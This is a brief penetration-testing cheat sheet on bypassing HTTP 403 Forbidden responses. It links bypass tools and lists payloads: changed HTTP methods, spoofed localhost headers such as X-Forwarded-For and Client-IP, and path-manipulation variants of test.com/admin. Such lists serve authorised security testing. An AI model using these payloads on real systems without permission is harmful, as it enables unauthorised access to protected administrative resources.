Bypass 403 - Forbidden

Tools:

• Fuzz tools and filter byt 403

• https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122

• https://github.com/iamj0ker/bypass-403

Method #1

Change the HTTP methos

• GET

• POST

• PATCH

• OPTIONS

• TRACE

• etc.

Method #2

• X-ProxyUser-Ip: 127.0.0.1

• Client-IP: 127.0.0.1

• Host: localhost

• X-Originating-IP: 127.0.0.1

• X-Forwarded-For: 127.0.0.1

• X-Remote-IP: 127.0.0.1

• X-Remote-Addr: 127.0.0.1

• X-Real-IP: 127.0.0.1

Method #3

• test.com/admin/*

• test.com/*admin/

• test.com/%2fadmin/

• test.com%2fadmin%2f

• test.com/./admin/

• test.com//admin/./

• test.com///admin///

• test.com//admin//

• test.com/ADMIN/

• test.com/;/admin/

• test.com//;//admin/